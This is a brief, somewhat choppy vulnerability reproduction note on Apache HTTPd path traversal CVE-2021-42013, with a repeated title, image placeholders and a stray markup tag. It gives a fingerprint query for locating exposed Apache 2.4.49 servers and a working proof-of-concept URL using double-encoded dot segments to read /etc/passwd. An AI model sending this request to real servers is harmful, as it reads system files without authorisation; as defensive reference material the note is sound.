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Apache HTTPd path crossing vulnerability CVE-2021-42013

Apache HTTPd path crossing vulnerability CVE-2021-42013

Apache HTTPd path crossing vulnerability CVE-2021-42013

Vulnerability Description

Apache HTTPD is an HTTP server that can run PHP web pages through mod_php.

Vulnerability Impact

Apache HTTPd version 2.4.49~2.4.50

Network surveying and mapping

server="Apache/2.4.49" </a-checkbox>

Vulnerability reappears

Get the Apache version through the response package

img

Verify POC

1
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

img

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